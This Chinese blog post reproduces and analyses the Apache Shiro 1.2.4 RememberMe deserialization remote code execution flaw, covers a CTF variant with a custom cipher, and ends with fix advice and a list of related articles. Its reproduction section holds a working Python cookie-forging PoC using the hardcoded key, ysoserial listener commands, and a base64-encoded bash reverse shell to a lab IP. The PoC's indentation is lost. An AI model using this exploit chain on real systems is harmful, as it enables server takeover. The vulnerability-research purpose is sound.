本文首发于先知:

https://xz.aliyun.com/t/6493

0x01.漏洞复现

环境配置

https://github.com/Medicean/VulApps/tree/master/s/shiro/1

测试

需要一个vps ip提供rmi注册表服务,此时需要监听vps的1099端口,复现中以本机当作vps使用

poc:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

此时在vps上执行:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'curl 192.168.127.129:2345' //command可以任意指定

此时执行poc可以生成rememberMe的cookie:

此时burp发送payload即可,此时因为poc是curl,因此监听vps的2345端口:

此时发送payload即可触发反序列化达到rce的效果

如果要反弹shell,此时vps上执行:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNy4xMjkvMjM0NSAwPiYxIA==}|{base64,-d}|{bash,-i}'

其中反弹shell执行的命令通过base64编码一次

http://www.jackson-t.ca/runtime-exec-payloads.html

上面的地址可以将bash命令进行base64编码
此时vps监听2345端口,并且生成新的payload进行rememberMe的cookie替换

此时就能够收到shell了

0x02.漏洞分析

这里使用idea来运行环境,直接import maven项目即可,另外要配置一下pom.xml中的以下两项依赖,否则无法识别jsp标签

生成cookie的过程

shiro会提供rememberme功能,可以通过cookie记录登录用户,从而记录登录用户的身份认证信息,即下次无需登录即可访问。而其中对rememberme的cookie做了加密处理,漏洞主要原因是加密的AES密钥是硬编码在文件中的,那么对于AES加密算法我们已知密钥,并且IV为cookie进行base64解码后的前16个字节,因此我们可以构造任意的可控序列化payload

处理rememberme的cookie的类为org.apache.shiro.web.mgt.CookieRememberMeManager,它继承自org.apache.shiro.mgt.AbstractRememberMeManager,其中在AbstractRememberMeManager中定义了加密cookie所需要使用的密钥,当我们成功登录时,如果勾选了rememberme选项,那么此时将进入onSuccessfulLogin方法

接下来将会对登录的认证信息进行序列化并进行加密,其中PrincipalCollection类的实例对象存储着登录的身份信息,而encrypt方法所使用的加密方式正是AES,并且为CBC模式,填充方式为PKCS5

其中ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey());这里调用的正是AES的encrypt方法,具体的实现在org/apache/shiro/crypto/JcaCipherService.java文件中,其实现了CiperService接口,并具体定义了加密的逻辑

在encrypt方法中,就是shiro框架自带的加密流程,可以看到此时将iv放在crtpt()加密的数据之前然后返回

加密结束后,将在org/apache/shiro/web/mgt/CookieRememberMeManager.java的rememberSerializedIdentity方法中进行base64编码,并通过response返回

解析cookie的过程

此时将在org/apache/shiro/web/mgt/CookieRememberMeManager.java中将传递的base64字符串进行解码后放到字节数组中,因为java的序列化字符串即为字节数组

byte[] decoded = Base64.decode(base64);

此后将调用org/apache/shiro/mgt/AbstractRememberMeManager.java中的getRememberedPrincipals()方法来从cookie中获取身份信息

此时可以看到将cookie中解码的字节数组进行解密,并随后进行反序列化

其中decrypt方法中就使用了之前硬编码的加密密钥,通过getDecryptionCipherKey()方法获取

而我们实际上可以看到其构造方法中实际上定义的加密和解密密钥都是硬编码的密钥

即为Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="),得到解密的密钥以后将在org/apache/shiro/crypto/JcaCipherService.java的decrypt()方法中进行解密,此时从cookie中取出iv与加密的序列化数据

并在decrypt方法中调用调用crypt方法利用密文,key,iv进行解密

解密完成后将返回到org/apache/shiro/mgt/AbstractRememberMeManager.java的convertBytesToPrincipals()方法中,此时deserialize(bytes)将对解密的字节数组进行反序列化,而这里的序列化的类是使用DefaultSerialize,即

this.serializer = new DefaultSerializer<PrincipalCollection>();

此时将调用deserialize()方法来进行反序列化,在此方法中我们就可以看到熟悉的readObject(),从而触发反序列化

Ogeek线下java-shiro

这道题中cookie的加密方式实际上不是默认的AES。因为从之前shiro加解密的过程我们已经知道org/apache/shiro/crypto/CipherService.java是个接口,并且在shiro默认的认证过程中,将会通过在shiro加密序列化字节数组时,将会通过getCiperService()方法返回所需要的加密方式,而默认情况下是AES加密

那么实际上我们也可以定义自己的加密逻辑,这道题目便是自己实现了CiperService接口并自己实现了一个简单的加密和解密的流程
WEB-INF/classes/com/collection/shiro/crypto/ShiroCipherService.class:

package com.collection.shiro.crypto;

import java.io.InputStream;
import java.io.OutputStream;
import java.util.Base64;
import java.util.UUID;
import javax.servlet.http.HttpServletRequest;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.crypto.CryptoException;
import org.apache.shiro.crypto.hash.Md5Hash;
import org.apache.shiro.crypto.hash.Sha1Hash;
import org.apache.shiro.subject.Subject;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.util.ByteSource.Util;
import org.apache.shiro.web.util.WebUtils;
import org.json.JSONObject; public class ShiroCipherService implements CipherService {
public ShiroCipherService() {
} public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException {
String skey = (new Sha1Hash(new String(key))).toString();
byte[] bkey = skey.getBytes();
byte[] data_bytes = new byte[ciphertext.length]; for(int i = 0; i < ciphertext.length; ++i) {
data_bytes[i] = (byte)(ciphertext[i] ^ bkey[i % bkey.length]);
} byte[] jsonData = new byte[ciphertext.length / 2]; for(int i = 0; i < jsonData.length; ++i) {
jsonData[i] = (byte)(data_bytes[i * 2] ^ data_bytes[i * 2 + 1]);
} JSONObject jsonObject = new JSONObject(new String(jsonData));
String serial = (String)jsonObject.get("serialize_data");
return Util.bytes(Base64.getDecoder().decode(serial));
} public void decrypt(InputStream inputStream, OutputStream outputStream, byte[] bytes) throws CryptoException {
} public ByteSource encrypt(byte[] plaintext, byte[] key) throws CryptoException {
String sign = (new Md5Hash(UUID.randomUUID().toString())).toString() + "asfda-92u134-";
Subject subject = SecurityUtils.getSubject();
HttpServletRequest servletRequest = WebUtils.getHttpRequest(subject);
String user_agent = servletRequest.getHeader("User-Agent");
String ip_address = servletRequest.getHeader("X-Forwarded-For");
ip_address = ip_address == null ? servletRequest.getRemoteAddr() : ip_address;
String data = "{\"user_is_login\":\"1\",\"sign\":\"" + sign + "\",\"ip_address\":\"" + ip_address + "\",\"user_agent\":\"" + user_agent + "\",\"serialize_data\":\"" + Base64.getEncoder().encodeToString(plaintext) + "\"}";
byte[] data_bytes = data.getBytes();
byte[] okey = (new Sha1Hash(new String(key))).toString().getBytes();
byte[] mkey = (new Sha1Hash(UUID.randomUUID().toString())).toString().getBytes();
byte[] out = new byte[2 * data_bytes.length]; for(int i = 0; i < data_bytes.length; ++i) {
out[i * 2] = mkey[i % mkey.length];
out[i * 2 + 1] = (byte)(mkey[i % mkey.length] ^ data_bytes[i]);
} byte[] result = new byte[out.length]; for(int i = 0; i < out.length; ++i) {
result[i] = (byte)(out[i] ^ okey[i % okey.length]);
} return Util.bytes(result);
} public void encrypt(InputStream inputStream, OutputStream outputStream, byte[] bytes) throws CryptoException {
}
}

这里加密的解密的逻辑都有,并且此时encrypt的加密实际上是针对json字符串进行的,解密时也会对json字符串进行同样解密算法,并取其中serialize_data字段的内容进行base64解码以后进行返回,因此我们只要结合ysoserial.jar将生成的payload进行base64编码,并且与放入serialize_data字段中,并且调用此加密逻辑对json字符串进行加密并进行base64编码即可获得rememberme的cookie值,当传送给服务器端后,也将先进行base64解码,然后调用decrypt进行解密,得到json字符串后再将我们放入serialize_data字段中的payload进行反序列化。这里实现的加密也是对称加密,并且通过以下的文件可以看到加解密均是读取服务器上remember.key文件来获取,因此也是硬编码的,因此只要知道该密钥,并且已知加密的逻辑,就可以控制cookie值,来进行反序列化,由下面的逻辑也可以看出初始情况下此密钥为32位
WEB-INF/classes/com/collection/shiro/manager/ShiroRememberManager.class:

package com.collection.shiro.manager;

import com.collection.shiro.crypto.ShiroCipherService;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.InputStream;
import org.apache.commons.lang.RandomStringUtils;
import org.apache.shiro.crypto.CipherService;
import org.apache.shiro.crypto.hash.Md5Hash;
import org.apache.shiro.web.mgt.CookieRememberMeManager; public class ShiroRememberManager extends CookieRememberMeManager {
private CipherService cipherService = new ShiroCipherService(); public ShiroRememberManager() {
} public CipherService getCipherService() {
return this.cipherService;
} public byte[] getEncryptionCipherKey() {
return this.getKeyFromConfig();
} public byte[] getDecryptionCipherKey() {
return this.getKeyFromConfig();
} private byte[] getKeyFromConfig() {
try {
InputStream fileInputStream = this.getClass().getResourceAsStream("remember.key");
String key = "";
if (fileInputStream != null && fileInputStream.available() >= 32) {
byte[] bytes = new byte[fileInputStream.available()];
fileInputStream.read(bytes);
key = new String(bytes);
fileInputStream.close();
} else {
BufferedWriter writer = new BufferedWriter(new FileWriter(this.getClass().getResource("/").getPath() + "com/collection/shiro/manager/remember.key"));
key = RandomStringUtils.random(32, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_=");
writer.write(key);
writer.close();
} key = (new Md5Hash(key)).toString();
return key.getBytes();
} catch (Exception var4) {
var4.printStackTrace();
return null;
}
}
}

0x03.漏洞修复

1.对于shiro的认证过程而言,如果我们使用了硬编码的默认密钥,或者我们自己配置的AES密钥一旦泄露,都有可能面临着反序列化漏洞的风险,因此可以选择不配置硬编码的密钥,那么此情况下shiro将会为我们每次生成一个随机密钥
2.若需要自己生成密钥,官方提供org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()方法来进行AES的密钥生成

参考

https://www.cnblogs.com/loong-hon/p/10619616.html
https://www.cnblogs.com/maofa/p/6407102.html
https://cloud.tencent.com/developer/article/1472310

Shiro RememberMe 1.2.4远程代码执行漏洞-详细分析的更多相关文章

  1. thinkphp5.0.22远程代码执行漏洞分析及复现

    虽然网上已经有几篇公开的漏洞分析文章,但都是针对5.1版本的,而且看起来都比较抽象:我没有深入分析5.1版本,但看了下网上分析5.1版本漏洞的文章,发现虽然POC都是一样的,但它们的漏洞触发原因是不同 ...

  2. Spring框架的反序列化远程代码执行漏洞分析(转)

    欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...

  3. Apache Struts 远程代码执行漏洞(CVE-2013-4316)

    漏洞版本: Apache Group Struts < 2.3.15.2 漏洞描述: BUGTRAQ ID: 62587 CVE(CAN) ID: CVE-2013-4316 Struts2 是 ...

  4. MongoDB ‘conn’Mongo 对象远程代码执行漏洞

    漏洞名称: MongoDB ‘conn’Mongo 对象远程代码执行漏洞 CNNVD编号: CNNVD-201307-497 发布时间: 2013-07-25 更新时间: 2013-07-25 危害等 ...

  5. Struts2再爆远程代码执行漏洞

    Struts又爆远程代码执行漏洞!在这次的漏洞中,攻击者可以通过操纵参数远程执行恶意代码.Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction ...

  6. struts2之高危远程代码执行漏洞,可造成服务器被入侵,下载最新版本进行修复

          Struts2 被发现存在新的高危远程代码执行漏洞,可造成服务器被入侵,只要是Struts2版本 低于 2.3.14.3 全部存在此漏洞.目前官方已经发布了最新的版本进行修复.请将stru ...

  7. 【漏洞公告】CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞

    2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,该漏洞受影响版本为7.0-7.80之间,在一定 ...

  8. PHPMailer < 5.2.18 远程代码执行漏洞(CVE-2016-10033)

    PHPMailer < 5.2.18 Remote Code Execution 本文将简单展示一下PHPMailer远程代码执行漏洞(CVE-2016-10033)的利用过程,使用的是别人已经 ...

  9. 隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)

    Preface 这几天关于Office的一个远程代码执行漏洞很流行,昨天也有朋友发了相关信息,于是想复现一下看看,复现过程也比较简单,主要是简单记录下. 利用脚本Github传送地址 ,后面的参考链接 ...

随机推荐

  1. 【轻松一刻】Java制作字符动画

    前言 今晚闲来无事,整理了一下电脑中尘封已久的旧代码,看着那些年自己写过的代码,踩过的坑,顿时老泪纵横.正当在感叹之际,突然发现在“马克思”文件夹下出现了一个好玩的项目,那就是N年前刚学Java时写的 ...

  2. reduce方法的使用

    reduce(收敛):接收一个回调函数作为累加器,数组中的每个值(从左到右)开始缩减,最终为一个值,是ES5中新增的又一个数组逐项处理方法. reduce(callback,initialValue) ...

  3. drunk_admin_hacking_challenge靶机之旅?

    注:  只是记录本人玩的时候发现的新奇点  如果你也想玩且看了这篇文章还是不会,请联系gg 靶机下载地址 https://www.vulnhub.com/entry/drunk-admin-web-h ...

  4. Framework7 - 入门教程(安装、配置、创建一个H5应用)

    1,Framework7介绍 (1)Framework7 是一个开源免费的框架.可以用来开发混合移动应用(原生和 HTML 混合)或者开发 iOS & Android 风格的 WEB APP. ...

  5. bootstrap下拉框保持打开

    $(".dropdown-menu li").on("click", function (e) { e.stopPropagation(); }); 停止传播事 ...

  6. Windows工作原理

    Windows工作原理中心思想 Windows工作原理的中心思想就是“动态链接”概念.Windows自身带有一大套函数,应用程序就是通过调用这些函数来实现它的用户界面和在屏幕上显示文本与图形的.这些函 ...

  7. 详解分布式系统里session同步

    1.什么是session?什么又是cookie?他俩有啥联系和区别? 2.为什么要在多台服务器间进行session的共享同步? 3.以及有哪些方法来实现这个同步? 大家快搬板凳,老王开始扯淡咯~ 1. ...

  8. RHEL7启动到命令模式

    打开/etc/inittab 文件会看到以下信息 从中知道想要启动后就进入完整的多用户文本模式(命令行模式) 以root权限执行: ln -sf /lib/systemd/system/multi-u ...

  9. 解决pynq联网问题

    注:本文只在一种环境下实验!不一定能适用很多环境 一.由于校园网的限制,pynq之间连接路由器存在无法联网的情况! 因此本文主要针对需要登录认证问题提供一种解决方案: 网络环境:校园网络 网络登录:锐 ...

  10. 【Leetcode】【简单】【1. 两数之和】【JavaScript】

    题目描述 1. 两数之和 给定一个整数数组 nums 和一个目标值 target,请你在该数组中找出和为目标值的那 两个 整数,并返回他们的数组下标. 你可以假设每种输入只会对应一个答案.但是,你不能 ...